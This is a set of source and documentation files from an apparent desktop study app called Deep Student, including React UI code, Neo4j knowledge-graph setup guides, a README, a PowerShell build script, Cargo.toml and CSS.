onChange={(e) => setRagTopK(parseInt(e.target.value) || 5)}
style={{
width: '60px',
padding: '0.25rem',
borderRadius: '4px',
border: '1px solid #ced4da',
fontSize: '0.85rem'
}}
/>
</label>
</div>
)}
{enableRag && (
<div style={{
marginTop: '0.5rem',
fontSize: '0.8rem',
color: '#6c757d',
fontStyle: 'italic'
}}>
💡 启用后，AI将从您的知识库中检索相关信息来增强分析准确性
</div>
)}
</div>
</div>
<button
onClick={handleAnalyze}
disabled={isAnalyzing}
className="analyze-button"
>
{isAnalyzing ? '分析中...' : '开始分析'}
</button>
{analysisResult && (
<div className="action-buttons">
<button onClick={handleSaveToLibrary} className="save-button">
💾 保存到错题库
</button>
<button onClick={handleReset} className="reset-button">
🔄 重新分析
</button>
</div>
)}
</div>
</div>
{/* 右侧结果栏 */}
<div className="right-panel">
{!ocrResult && !analysisResult ? (
<div className="empty-result">
<div className="empty-icon">
<img src="/dslogo2.png" alt="Deep Student" className="empty-logo" />
</div>
<h3>等待分析</h3>
<p>请在左侧上传题目图片并点击"开始分析"</p>
</div>
) : (
<div className="analysis-result">
<div className="result-header">
<h3>📊 分析结果</h3>
{isAnalyzing && (
<div className="analyzing-indicator">
<span className="spinner">⏳</span>
<span>分析中...</span>
</div>
)}
</div>
{/* OCR结果区域 - 立即显示 */}
{ocrResult && (
<div className="result-info">
<div className="info-item">
<strong>题目类型:</strong>
<span className="info-value">{ocrResult.mistake_type}</span>
</div>
<div className="info-item">
<strong>标签:</strong>
<div className="tags">
{ocrResult.tags.map((tag, index) => (
<span key={index} className="tag">{tag}</span>
))}
</div>
</div>
<div className="info-item">
<strong>OCR文本:</strong>
<div className="ocr-text">{ocrResult.ocr_text}</div>
</div>
</div>
)}
{/* AI解答区域 */}
{isOcrComplete && (
<div className={`chat-container ${isChatFullscreen ? 'chat-fullscreen' : ''}`}>
<div className="chat-header">
<h4>💬 AI解答</h4>
<div className="chat-header-actions">
{enableChainOfThought && (
<span className="chain-indicator">🧠 思维链模式</span>
)}
<button
className="chat-fullscreen-toggle"
onClick={handleChatFullscreenToggle}
>
{isChatFullscreen ? '🔲' : '📱'}
</button>
</div>
</div>
<div className="chat-history">
{chatHistory.map((message, index) => {
const isStreaming = streamingMessageIndex === index;
const thinking = thinkingContent.get(index);
return (
<MessageWithThinking
key={index}
content={message.content}
thinkingContent={thinking}
isStreaming={isStreaming}
role={message.role as 'user' | 'assistant'}
timestamp={message.timestamp}
ragSources={message.rag_sources}
/>
);
})}
{isAnalyzing && chatHistory.length === 0 && (
<div className="message assistant">
<div className="message-content typing">
<span className="typing-indicator">
<span></span>
<span></span>
<span></span>
</span>
AI正在思考中...
</div>
</div>
)}
{isChatting && streamingMessageIndex === null && (
<div className="message assistant">
<div className="message-content typing">
<span className="typing-indicator">
<span></span>
<span></span>
<span></span>
</span>
正在思考中...
</div>
</div>
)}
</div>
{/* 只有在分析完成后才显示输入框 */}
{!isAnalyzing && isInputAllowed && analysisResult && (
<div className="chat-input">
<input
type="text"
value={currentMessage}
onChange={(e) => setCurrentMessage(e.target.value)}
placeholder="继续提问..."
onKeyDown={(e) => e.key === 'Enter' && handleSendMessage()}
disabled={isChatting}
/>
<button
onClick={handleSendMessage}
disabled={isChatting || !currentMessage.trim()}
className="send-button"
>
{isChatting ? '⏳' : '📤'}
</button>
</div>
)}
</div>
)}
</div>
)}
</div>
</div>
);
return (
<div
className="app"
style={{
'--sidebar-width': sidebarCollapsed ? '60px' : '240px'
} as React.CSSProperties}
>
<WindowControls />
<div className="app-body">
{renderSidebar()}
<main className="app-content">
<div className="content-header" onMouseDown={startDragging}>
<div className="content-header-left">
<button
className="sidebar-toggle"
onClick={() => setSidebarCollapsed(!sidebarCollapsed)}
onMouseDown={(e) => e.stopPropagation()}
>
{sidebarCollapsed ? '→' : '←'}
</button>
<h1 className="content-title">
{currentView === 'analysis' && '错题分析'}
{currentView === 'batch' && '批量分析'}
{currentView === 'library' && '错题库'}
{currentView === 'review' && '回顾分析'}
{currentView === 'unified-review' && '统一回顾分析'}
{currentView === 'create-review' && '创建回顾分析'}
{currentView === 'review-session' && '回顾分析会话'}
{currentView === 'review-library' && '回顾分析库'}
{currentView === 'dashboard' && '统计数据'}
{currentView === 'settings' && '系统设置'}
{currentView === 'formula-test' && '公式测试'}
{currentView === 'ai-sdk-analysis' && 'AI SDK分析'}
{currentView === 'backend-test' && '后端测试'}
{currentView === 'mistake-detail' && '错题详情'}
{currentView === 'anki-generation' && 'ANKI制卡助手'}
{currentView === 'knowledge-base' && 'RAG知识库管理'}
{currentView === 'rag-query' && 'RAG智能查询'}
</h1>
</div>
</div>
<div className="content-body">
{currentView === 'analysis' && renderAnalysisView()}
{/* 批量分析组件始终挂载，只是控制显示/隐藏 */}
<div style={{ display: currentView === 'batch' ? 'block' : 'none' }}>
<BatchAnalysis onBack={() => setCurrentView('analysis')} />
</div>
{currentView === 'library' && (
<MistakeLibrary
onSelectMistake={handleSelectMistake}
onBack={() => setCurrentView('analysis')}
/>
)}
{currentView === 'review' && (
<ReviewAnalysis onBack={() => setCurrentView('analysis')} />
)}
{currentView === 'unified-review' && (
<ReviewAnalysisDashboard
onCreateNew={() => setCurrentView('create-review')}
onViewSession={(sessionId: string) => {
setCurrentReviewSessionId(sessionId);
setCurrentView('review-session');
}}
/>
)}
{currentView === 'create-review' && (
<CreateReviewAnalysisView
onCancel={() => setCurrentView('unified-review')}
onCreateSuccess={(sessionId: string) => {
setCurrentReviewSessionId(sessionId);
setCurrentView('review-session');
}}
/>
)}
{currentView === 'review-session' && currentReviewSessionId && (
<ReviewAnalysisSessionView
sessionId={currentReviewSessionId}
onBack={() => setCurrentView('unified-review')}
/>
)}
{currentView === 'review-library' && (
<ReviewAnalysisLibrary
onSelectAnalysis={(analysis) => {
setCurrentReviewSessionId(analysis.id);
setCurrentView('review-session');
}}
onBack={() => setCurrentView('unified-review')}
/>
)}
{currentView === 'dashboard' && (
<Dashboard onBack={() => setCurrentView('analysis')} />
)}
{currentView === 'settings' && (
<Settings onBack={() => setCurrentView('analysis')} />
)}
{currentView === 'mistake-detail' && selectedMistake && (
<MistakeDetail
mistake={selectedMistake}
onBack={() => setCurrentView('library')}
onUpdate={handleUpdateMistake}
onDelete={handleDeleteMistake}
/>
)}
{currentView === 'formula-test' && (
<FormulaTest onBack={() => setCurrentView('analysis')} />
)}
{currentView === 'ai-sdk-analysis' && (
<AnalysisWithAISDK
enableChainOfThought={enableChainOfThought}
onAnalysisComplete={(result) => {
console.log('AI SDK Analysis completed:', result);
// 可以在这里添加额外的处理逻辑
}}
/>
)}
{currentView === 'backend-test' && (
<BackendTest />
)}
{/* ANKI制卡组件始终挂载，只是控制显示/隐藏 */}
<div style={{ display: currentView === 'anki-generation' ? 'block' : 'none' }}>
<AnkiCardGeneration
subjectConfigs={subjectConfigs}
/>
</div>
{currentView === 'knowledge-base' && (
<KnowledgeBaseManagement />
)}
{currentView === 'rag-query' && (
<RagQueryView />
)}
</div>
</main>
{/* 数据管理模态框 */}
{showDataManagement && (
<div className="modal-overlay">
<div className="modal-container">
<DataImportExport onClose={() => setShowDataManagement(false)} />
</div>
</div>
)}
{/* 图片查看器 */}
<ImageViewer
images={questionImageUrls}
currentIndex={currentImageIndex}
isOpen={imageViewerOpen}
onClose={() => setImageViewerOpen(false)}
onNext={() => setCurrentImageIndex(prev => (prev + 1) % questionImageUrls.length)}
onPrev={() => setCurrentImageIndex(prev => (prev - 1 + questionImageUrls.length) % questionImageUrls.length)}
/>
</div>
</div>
);
}
export default App;
|
000haoji/deep-student
| 4,436 |
COGNI-GRAPH-README.md
|
# CogniGraph 知识图谱模块
## 概述
CogniGraph 是集成到 AI 错题管理器中的个性化知识网络系统，基于 Neo4j 图数据库实现。该模块允许用户将学习过程中的问题、灵感和解题方法结构化存储，并通过 AI 实现智能检索、关联推荐和深度洞察。
## 核心功能
### 🎯 主要特性
1. **问题卡片管理**
- 创建和存储数学问题及解题洞察
- 自动生成向量嵌入用于语义搜索
- 支持标签分类和状态管理
2. **智能搜索**
- 多路召回：向量搜索 + 全文检索
- 融合排序：综合相似度、访问频次、时间因子
- 语义理解：基于 AI 的内容理解
3. **AI 关系推荐**
- 自动发现题目间的关联关系
- 支持变题、通法、对比等关系类型
- 基于置信度的推荐过滤
4. **知识图谱可视化**
- 节点关系展示
- 标签分类浏览
- 访问统计分析
## 技术架构
### 后端架构
```
CogniGraph Module
├── models.rs # 数据模型定义
├── handlers.rs # Tauri 命令处理
├── config.rs # 配置管理
└── services/
├── neo4j_service.rs # Neo4j 数据库操作
├── graph_service.rs # 图谱业务逻辑
└── search_service.rs # 搜索和推荐
```
### 数据模型
**ProblemCard 节点**
- `id`: 唯一标识符
- `content_problem`: 题目内容
- `content_insight`: 解题洞察
- `status`: 解题状态 (solved/unsolved)
- `embedding`: 向量嵌入
- `created_at`: 创建时间
- `last_accessed_at`: 最后访问时间
- `access_count`: 访问次数
**Tag 节点**
- `name`: 标签名称
- `tag_type`: 标签类型 (knowledge_point/method/auto)
**关系类型**
- `HAS_TAG`: 卡片拥有标签
- `IS_VARIATION_OF`: 题目变种关系
- `USES_GENERAL_METHOD`: 使用通用方法
- `CONTRASTS_WITH`: 对比关系
## 安装和配置
### 1. 安装 Neo4j
**本地开发**
```bash
# 下载 Neo4j Desktop
# https://neo4j.com/download/
# 或使用 Docker
docker run \
--name neo4j \
-p7474:7474 -p7687:7687 \
-d \
-v $HOME/neo4j/data:/data \
-v $HOME/neo4j/logs:/logs \
-v $HOME/neo4j/import:/var/lib/neo4j/import \
-v $HOME/neo4j/plugins:/plugins \
--env NEO4J_AUTH=neo4j/password \
neo4j:latest
```
**云端部署**
1. 注册 [Neo4j AuraDB](https://neo4j.com/aura/)
2. 创建免费实例
3. 获取连接信息
### 2. 配置连接
复制配置文件模板：
```bash
cp cogni-graph-config.example.toml cogni-graph-config.toml
```
编辑配置文件：
```toml
[neo4j]
uri = "bolt://localhost:7687"
username = "neo4j"
password = "your-password"
[vector]
dimensions = 1536
similarity_threshold = 0.7
```
### 3. 初始化数据库
启动应用后，在知识图谱界面：
1. 输入 Neo4j 连接信息
2. 点击"测试连接"验证配置
3. 点击"初始化图谱"创建约束和索引
## 使用指南
### 创建问题卡片
1. 填写题目描述
2. 输入解题洞察和方法
3. 添加相关标签
4. 系统自动生成嵌入向量并建立关联
### 智能搜索
1. 输入搜索关键词
2. 系统执行多路召回
3. 查看排序后的搜索结果
4. 点击卡片查看详情和推荐
### AI 推荐
- 选择任意卡片后自动生成推荐
- 基于内容相似度和关系类型
- 显示推荐理由和置信度
## API 接口
### Tauri 命令
```typescript
// 初始化知识图谱
invoke('initialize_knowledge_graph', { config: GraphConfig })
// 创建问题卡片
invoke('create_problem_card', { request: CreateCardRequest })
// 搜索知识图谱
invoke('search_knowledge_graph', { request: SearchRequest })
// 获取 AI 推荐
invoke('get_ai_recommendations', { request: RecommendationRequest })
// 测试 Neo4j 连接
invoke('test_neo4j_connection', { config: GraphConfig })
```
### 数据类型
```typescript
interface CreateCardRequest {
content_problem: string;
content_insight: string;
tags: string[];
source_excalidraw_path?: string;
}
interface SearchRequest {
query: string;
limit?: number;
libraries?: string[];
}
```
## 开发指南
### 添加新的关系类型
1. 在 `models.rs` 中扩展 `RelationshipType` 枚举
2. 更新 `graph_service.rs` 中的关系分析逻辑
3. 修改前端界面显示
### 扩展搜索算法
1. 在 `search_service.rs` 中添加新的召回方法
2. 更新 `rerank_results` 函数的权重计算
3. 调整配置参数
### 集成新的 AI 模型
系统已集成现有的 LLMManager，支持：
- OpenAI GPT 系列
- Google Gemini
- DeepSeek
- 其他兼容模型
## 性能优化
### 数据库优化
1. **索引策略**
- 唯一约束：确保 ID 和标签名唯一性
- 全文索引：支持快速内容搜索
- 向量索引：加速相似度查询
2. **查询优化**
- 使用参数化查询防止注入
- 批量操作减少网络开销
- 结果分页控制内存使用
### 向量搜索优化
1. **维度选择**
- 使用 1536 维 OpenAI 嵌入
- 支持自定义维度配置
2. **相似度计算**
- 余弦相似度：标准化后的点积
- 批量计算：优化大规模搜索性能
## 部署方案
### 本地开发到云端的无缝迁移
1. **开发阶段**
- Neo4j Desktop 本地实例
- 本地文件配置管理
2. **生产部署**
- Neo4j AuraDB 云实例
- 环境变量配置
- Docker 容器化部署
### 扩展性考虑
- **数据量增长**：AuraDB 支持无缝扩容
- **并发访问**：连接池和查询优化
- **跨区域部署**：多区域实例同步
## 故障排除
### 常见问题
1. **连接失败**
- 检查 Neo4j 服务状态
- 验证网络连通性
- 确认认证信息
2. **向量索引不可用**
- 需要 Neo4j 5.11+ 版本
- 安装向量搜索插件
- 降级到手动计算模式
3. **性能问题**
- 检查数据库约束和索引
- 优化查询语句
- 调整批量操作大小
### 日志调试
```bash
# 查看 Neo4j 日志
docker logs neo4j
# 查看应用日志
# 在应用内查看控制台输出
```
## 未来规划
### 短期目标 (v1.1)
- [ ] 手写输入识别集成
- [ ] 图谱可视化界面
- [ ] 导入/导出功能
- [ ] 批量操作支持
### 中期目标 (v1.2)
- [ ] 多媒体内容支持
- [ ] 协作学习功能
- [ ] 学习路径推荐
- [ ] 统计分析仪表板
### 长期目标 (v2.0)
- [ ] 分布式图谱
- [ ] 实时协作编辑
- [ ] 个性化学习算法
- [ ] 跨平台数据同步
## 贡献指南
欢迎提交 Issue 和 Pull Request！
### 开发环境设置
1. 克隆项目
2. 安装 Rust 和 Node.js
3. 配置 Neo4j 实例
4. 运行测试套件
### 代码规范
- Rust: 使用 `cargo fmt` 和 `cargo clippy`
- TypeScript: 使用 ESLint 和 Prettier
- 提交信息: 遵循 Conventional Commits
## 许可证
本项目遵循与主项目相同的许可证。
## 支持和反馈
如有问题或建议，请通过以下方式联系：
- GitHub Issues
- 项目讨论区
- 技术支持邮箱
---
**CogniGraph - 让知识连接，让学习更智能** 🧠✨
|
000haoji/deep-student
| 1,055 |
compile.ps1
|
# 设置环境变量以使用MSVC
$vsPath = "${env:ProgramFiles}\Microsoft Visual Studio\2022\BuildTools"
if (!(Test-Path $vsPath)) {
$vsPath = "${env:ProgramFiles}\Microsoft Visual Studio\2022\Community"
}
if (!(Test-Path $vsPath)) {
$vsPath = "${env:ProgramFiles}\Microsoft Visual Studio\2022\Professional"
}
if (!(Test-Path $vsPath)) {
$vsPath = "${env:ProgramFiles}\Microsoft Visual Studio\2022\Enterprise"
}
$vcvarsall = "$vsPath\VC\Auxiliary\Build\vcvarsall.bat"
if (Test-Path $vcvarsall) {
Write-Host "找到 MSVC 工具链，正在配置环境..." -ForegroundColor Green
& cmd /c "`"$vcvarsall`" x64 && set" | ForEach-Object {
if ($_ -match "=") {
$v = $_.split("=", 2)
Set-Item -Force -Path "env:\$($v[0])" -Value $v[1]
}
}
Write-Host "环境配置完成，开始编译..." -ForegroundColor Green
# 进入 src-tauri 目录并编译
Set-Location src-tauri
cargo build --release
} else {
Write-Host "错误：未找到 MSVC 工具链！" -ForegroundColor Red
Write-Host "请确保已安装 Visual Studio Build Tools 2022 并选择了 C++ 工作负载。" -ForegroundColor Yellow
}
|
000haoji/deep-student
| 3,907 |
README.md
|
# Deep Student
官网 www.deepstudent.com
当前正在进行公开测试中，此为尚未完善的版本。
该项目前身使用flask + python开发，现已完全重构。
**Deep Student** 是一个功能强大、集多种 AI 能力于一体的现代化桌面学习平台。它不仅仅是一个错题本，更是一个完整的知识获取、管理、复习和创造的智能中心。
该应用基于 **Tauri** 构建，结合了 **Rust** 的高性能后端和 **React** 的现代化前端，旨在为学生、研究者和终身学习者提供无缝、高效的学习体验。
## 项目状态
这是一个功能丰富且在活跃开发中的项目。大部分核心功能已稳定可用，同时包含一些前沿的实验性功能。
## 核心功能 (稳定可用)
---
### 1. AI 驱动的错题分析与对话
将传统的错题整理体验提升到全新维度。
* **实现细节**:
* **多模态输入**: 支持文本与图片混合输入。后端接收到图片后，会调用配置好的多模态大模型（Vision Model）进行 OCR 识别。
* **流式对话**: 用户与 AI 的每一次交互都是一个可持久化的会话。AI 的分析、思考过程和最终答案会通过 WebSocket 实时流式传输到前端，提供即时反馈。
* **深度追问**: 所有对话历史会被记录，AI 在后续的交流中能够理解上下文，允许用户就特定知识点进行深入探讨。
* **结构化存储**: 分析结果（如题型、标签、AI 总结）会被结构化地存入本地 SQLite 数据库，方便后续的高级检索和管理。
### 2. 整合复习 (统一回顾)
打破知识孤岛，从更高的视角审视不同知识点间的联系。
* **实现细节**:
* **资料整合**: 用户可以选择多个错题记录，系统会将这些记录的文本内容整合成一份临时的"复习材料"。
* **宏观分析**: 将整合后的材料连同用户的"复习目标"（一个总括性的问题）一并发送给 AI。通过特定的系统提示词（System Prompt），引导 AI 进行归纳、总结、对比等宏观层面的分析。
* **可恢复会话**: 复习会话的状态会被持久化到数据库。即使用户关闭应用，也可以在之后回到之前的复习进度，继续与 AI 对话。
### 3. RAG 驱动的个人知识库
将本地文档转化为一个可以与之"对话"的智能知识库。
* **实现细节**:
* **文档处理**: 后端支持解析 PDF, DOCX 等格式的文档，将其内容分割成更小的文本块（Chunks）。
* **向量化与检索**: 每个文本块会被一个嵌入模型（Embedding Model）转换成向量，并存储起来。当用户提问时，系统会将问题同样转换为向量，在知识库中进行相似度检索，找到最相关的几个文本块。
* **精准作答**: 将检索到的相关文本块作为上下文（Context），连同用户的问题一起发送给 LLM，使其能够生成基于原文内容的、高度准确的回答。
* **知识隔离**: 支持创建不同的"知识子库"，在查询时可以限定范围，保证不同领域知识的独立性。
### 4. 增强的 Anki 制卡 (含图像挖空)
集成了强大的 Anki 卡片制作与导出能力，特别是先进的图像挖空功能。
* **实现细节**:
* **一键生成**: 从错题分析、RAG 问答或任意文本中，一键调用 AI 生成符合 Anki 格式的问答卡片。
* **图像挖空 (当前仍在实验)**:
* 这是一个**依赖外部视觉模型 API** 的高级功能。
* 用户上传图片后，后端会调用配置好的多模态大模型 API（如 Gemini Pro Vision, Qwen-VL）来获取图中所有文本块的精确坐标。
* 前端会将这些坐标渲染为可点击的区域，用户选择需要遮蔽的文本后，系统会生成包含"遮罩"信息的卡片数据，并存入数据库。
* **模板与导出**: 支持自定义卡片样式模板，并能通过 Anki Connect 直接推送到 Anki 桌面端，或打包为可移植的 `.apkg` 文件。
## 实验性功能 (开发中)
---
### 🕸️ 知识图谱 (Cogni-Graph)
这是一个前沿的、潜力巨大的功能模块，目前正处于积极开发阶段。它的目标是将知识以网络图谱的形式进行可视化和管理。
* **当前状态**: **开发中，非开箱即用**。
* **启用要求**:
* 需要用户自行部署或拥有一个 **Neo4j** 图数据库实例。
* 在应用的配置文件中正确填写 Neo4j 的地址、用户名和密码。
* **已实现功能**:
* **后端 API**: 已实现创建知识节点（卡片）、打标签、查询、搜索相似节点、获取 AI 推荐等核心 API。
* **AI 融合**: 深度融合 LLM，例如在创建卡片时，可以调用 AI 自动为知识点生成关联标签。
* **未来展望**:
* 在前端实现一个交互式的、可视化的图谱界面。
* 自动发现和链接不同错题、文档和笔记中的共同知识点，构建个人专属的知识网络。
## 技术栈
| 类别 | 技术 |
| ---------- | ---------------------------------------------- |
| **后端** | Rust, Tauri, Tokio |
| **前端** | React, TypeScript, Vite |
| **数据库** | SQLite (本地数据), **Neo4j** (知识图谱，需用户自行配置) |
| **AI 核心** | 多模型适配器, RAG 引擎, reqwest, serde |
| **视觉模型** | 图像挖空和 OCR 功能依赖外部多模态大模型 API (如 Gemini, Qwen-VL) |
## 项目结构
```
.
├── src/ # 前端代码 (React + TypeScript)
│ ├── components/ # UI 组件
│ └── App.tsx # 应用主组件
├── src-tauri/ # 后端代码 (Rust)
│ ├── src/
│ │ ├── analysis_service.rs # 核心分析服务
│ │ ├── cogni_graph/ # [开发中] 知识图谱模块
│ │ ├── rag_manager.rs # RAG 知识库管理器
│ │ ├── llm_manager.rs # 多模型管理器
│ │ └── commands.rs # 暴露给前端的 Tauri 命令
│ └── Cargo.toml # Rust 依赖管理
└── package.json # 前端依赖管理
```
## 快速上手
### 环境准备
1. **Rust**: 参考 Rust 官网安装指南。
2. **Node.js**: 安装 Node.js (推荐 LTS 版本) 和 `pnpm` (`npm install -g pnpm`)。
3. **Tauri CLI**: `cargo install tauri-cli`。
### 安装与运行
1. **克隆仓库**: `git clone <your-repo-url>`
2. **安装依赖**: `cd <repo-folder> && pnpm install`
3. **运行开发**: `pnpm run tauri dev`
### **重要：应用配置**
本应用的大部分高级 AI 功能依赖外部 API。
1. **LLM 与视觉模型 API**: 在首次启动或设置页面中，配置您的大语言模型和视觉模型提供商的 API Key 和 Base URL。
2. **知识图谱 (Neo4j)**: 如需测试知识图谱功能，请在 `src-tauri` 目录下寻找相关的**示例配置文件** (如 `cogni-graph-config.example.toml`)，将其复制为正式配置文件，并填入您的 Neo4j 数据库信息。
---
_这份 README 文档由 AI 根据项目代码结构和实现细节自动生成并修订。_
|
000haoji/deep-student
| 1,782 |
COGNI-GRAPH-SETUP.md
|
# CogniGraph Neo4j Setup Guide
## Quick Setup Options
### Option 1: Docker (Recommended)
```bash
# Run Neo4j with default credentials
docker run \
--name neo4j-cogni \
--publish=7474:7474 \
--publish=7687:7687 \
--env=NEO4J_AUTH=neo4j/password \
neo4j:latest
```
Then use these settings in the CogniGraph interface:
- **URI**: `bolt://localhost:7687`
- **Username**: `neo4j`
- **Password**: `password`
### Option 2: Neo4j Desktop
1. Download Neo4j Desktop: https://neo4j.com/download/
2. Create a new project and database
3. Set password during setup
4. Start the database
5. Use the connection details shown in Neo4j Desktop
### Option 3: Neo4j Community Edition
1. Download from: https://neo4j.com/download-center/#community
2. Install and configure
3. Set initial password with: `neo4j-admin set-initial-password yourpassword`
4. Start Neo4j service
## Connection Configuration
In the CogniGraph interface, update the connection settings:
```
URI: bolt://localhost:7687
Username: neo4j
Password: [your-password]
```
## Troubleshooting
### Authentication Failure
- Ensure Neo4j is running
- Verify username/password are correct
- Check if you need to change the default password
### Connection Refused
- Check Neo4j is running on port 7687
- Verify firewall settings
- Ensure bolt connector is enabled
### Version Compatibility
- Neo4j 4.4+ recommended
- Neo4j 5.11+ for vector search features
- Community Edition is sufficient for basic features
## Testing Connection
1. Open the CogniGraph interface
2. Enter your connection details
3. Click "测试连接" (Test Connection)
4. If successful, click "初始化图谱" (Initialize Graph)
## Default Credentials
If using Docker or fresh installation:
- Username: `neo4j`
- Password: `password` (or your chosen password)
|
000haoji/deep-student
| 1,772 |
src-tauri/Cargo.toml
|
[package]
name = "ai-mistake-manager"
version = "0.1.0"
description = "A Tauri App"
authors = ["you"]
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[lib]
# The `_lib` suffix may seem redundant but it is necessary
# to make the lib name unique and wouldn't conflict with the bin name.
# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519
name = "ai_mistake_manager_lib"
crate-type = ["cdylib", "rlib"]
[build-dependencies]
tauri-build = { version = "2", features = [] }
[dependencies]
tauri = { version = "2", features = ["rustls-tls", "devtools"] }
tauri-plugin-opener = "2"
tauri-plugin-dialog = "2"
serde = { version = "1.0", features = ["derive", "rc"] }
serde_json = { version = "1.0", features = ["preserve_order"] }
uuid = { version = "1.0", features = ["v4", "serde"] }
reqwest = { version = "0.11", features = ["json", "rustls-tls", "stream"] }
tokio = { version = "1.0", features = ["full"] }
rusqlite = { version = "0.29", features = ["bundled"] }
base64 = "0.21"
chrono = { version = "0.4", features = ["serde"] }
anyhow = "1.0"
futures-util = "0.3"
regex = "1.0"
aes-gcm = "0.10"
rand = "0.8"
blake3 = "1.5"
keyring = "2.0"
zip = "0.6"
url = "2.4"
image = "0.24"
# RAG文档处理依赖
pdf-extract = "0.7"
docx-rs = "0.4"
# 向量搜索依赖 - 暂时移除sqlite-vss，使用基础SQLite + 应用层向量计算
# sqlite-vss = { version = "0.1", features = ["download-libs"] } # Windows平台不支持
# Neo4j图数据库依赖
neo4rs = "0.7"
# 优化编译速度的配置
[profile.dev]
opt-level = 0 # 无优化，快速编译
debug = true # 保留调试信息
incremental = true # 启用增量编译
lto = false # 禁用链接时优化
[profile.release]
opt-level = "s" # 优化大小
lto = true # 链接时优化
codegen-units = 1 # 减少代码生成单元以提高优化效果
|
000haoji/deep-student
| 50,281 |
src/DeepStudent.css
|
/* Deep Student Design - 简洁优雅的侧边栏布局 */
/* 紧急修复：彻底禁用所有旧tooltip相关的伪元素 */
.tooltip-container,
.tooltip-container::before,
.tooltip-container::after,
.tooltip-container.tooltip-right::before,
.tooltip-container.tooltip-right::after,
.tooltip-container.tooltip-left::before,
.tooltip-container.tooltip-left::after,
.tooltip-container.tooltip-bottom::before,
.tooltip-container.tooltip-bottom::after,
.tooltip-container.tooltip-success::before,
.tooltip-container.tooltip-success::after,
.tooltip-container.tooltip-warning::before,
.tooltip-container.tooltip-warning::after,
.tooltip-container.tooltip-info::before,
.tooltip-container.tooltip-info::after,
/* 增强清理：清除任何可能的选择器 */
*[class*="tooltip-container"]::before,
*[class*="tooltip-container"]::after,
*[data-tooltip]:not(.tooltip-test)::before,
*[data-tooltip]:not(.tooltip-test)::after {
display: none !important;
content: none !important;
opacity: 0 !important;
visibility: hidden !important;
position: static !important;
background: none !important;
border: none !important;
box-shadow: none !important;
width: 0 !important;
height: 0 !important;
margin: 0 !important;
padding: 0 !important;
}
/* 自定义标题栏样式 */
.custom-titlebar {
height: 32px;
background: linear-gradient(180deg, #ffffff 0%, #f8f9fa 100%);
border-bottom: 1px solid #e2e8f0;
display: flex;
align-items: center;
justify-content: space-between;
padding: 0;
user-select: none;
position: relative;
z-index: 1000;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);
}
.titlebar-content {
display: flex;
align-items: center;
justify-content: space-between;
width: 100%;
height: 100%;
}
.titlebar-left {
display: flex;
align-items: center;
gap: 8px;
padding-left: 12px;
flex: 1;
}
.app-icon {
font-size: 16px;
width: 20px;
height: 20px;
display: flex;
align-items: center;
justify-content: center;
}
.app-title {
font-size: 13px;
font-weight: 500;
color: #2d3748;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.titlebar-controls {
display: flex;
height: 100%;
}
.titlebar-button {
width: 48px;
height: 32px;
border: none;
background: transparent;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
transition: background-color 0.2s ease;
color: #4a5568;
}
.titlebar-button:hover {
background: rgba(0, 0, 0, 0.05);
}
.titlebar-button.close:hover {
background: #e53e3e;
color: white;
}
.titlebar-button svg {
flex-shrink: 0;
}
/* 窗口控制按钮样式 - 强制显示 */
.window-controls {
position: fixed !important;
top: 0 !important;
right: 0 !important;
display: flex !important;
z-index: 999999 !important; /* 🎯 修复：使用最高z-index确保窗口控制按钮始终可见 */
background: rgba(255, 255, 255, 0.95) !important;
backdrop-filter: blur(10px) !important;
border-bottom-left-radius: 8px !important;
/* 🎯 修复：强制确保窗口控制按钮不被隐藏 */
visibility: visible !important;
opacity: 1 !important;
pointer-events: auto !important;
width: auto !important;
height: auto !important;
transform: none !important;
clip: none !important;
overflow: visible !important;
}
.window-button {
width: 46px;
height: 32px;
border: none;
background: transparent;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
transition: background-color 0.2s ease;
color: #4a5568;
border-radius: 0;
/* 🎯 修复：确保窗口按钮始终可见 */
visibility: visible !important;
opacity: 1 !important;
pointer-events: auto !important;
position: relative;
z-index: 10001;
}
.window-button:hover {
background: rgba(0, 0, 0, 0.08);
}
.window-button.close:hover {
background: #e53e3e;
color: white;
}
.window-button:first-child {
border-bottom-left-radius: 8px;
}
.window-button:last-child {
border-top-right-radius: 0;
}
.window-button svg {
flex-shrink: 0;
/* 🎯 修复：确保SVG图标正常显示 */
display: block !important;
visibility: visible !important;
opacity: 1 !important;
pointer-events: none;
}
/* 确保header可拖拽 */
.sidebar-header {
cursor: grab;
user-select: none;
}
.sidebar-header:active {
cursor: grabbing;
}
.content-header {
cursor: grab;
user-select: none;
}
.content-header:active {
cursor: grabbing;
}
/* 确保按钮不受拖拽影响 */
.sidebar-toggle {
pointer-events: auto;
z-index: 10;
}
.window-controls {
pointer-events: auto;
z-index: 10000; /* 🎯 修复：确保窗口控制按钮在最上层 */
}
.window-button {
pointer-events: auto;
z-index: 10001; /* 🎯 修复：确保窗口按钮在最上层 */
position: relative;
}
.sidebar-toggle {
pointer-events: auto;
z-index: 11;
position: relative;
}
/* 隐藏调试信息和开发者工具覆盖层 */
[data-tauri-debug],
[data-debug],
.debug-overlay,
.size-indicator,
.resize-indicator,
.window-size-indicator,
.dimension-overlay,
*[class*="debug"],
*[id*="debug"],
*[class*="dev-tools"],
*[class*="devtools"],
*[class*="resize-info"],
*[class*="size-info"] {
display: none !important;
visibility: hidden !important;
opacity: 0 !important;
pointer-events: none !important;
}
/* 特别针对右上角的调试信息 - 排除窗口控制按钮 */
body::after,
html::after,
*:not(.window-controls):not(.window-button)::after,
*:not(.window-controls):not(.window-button)::before {
content: none !important;
}
/* 隐藏任何可能的固定定位调试元素 - 更精确的选择器 */
div[style*="position: fixed"][style*="top: 0"][style*="right: 0"][class*="debug"]:not(.window-controls),
div[style*="position: absolute"][style*="top: 0"][style*="right: 0"][class*="debug"]:not(.window-controls),
div[style*="position: fixed"][style*="top: 0"][style*="right: 0"][id*="debug"]:not(.window-controls),
div[style*="position: absolute"][style*="top: 0"][style*="right: 0"][id*="debug"]:not(.window-controls) {
display: none !important;
}
/* 全局样式重置 */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
/* 主应用容器 */
.app {
display: flex !important;
flex-direction: row !important;
height: 100vh !important;
background-color: #f8f9fa;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', sans-serif;
color: #2d3748;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
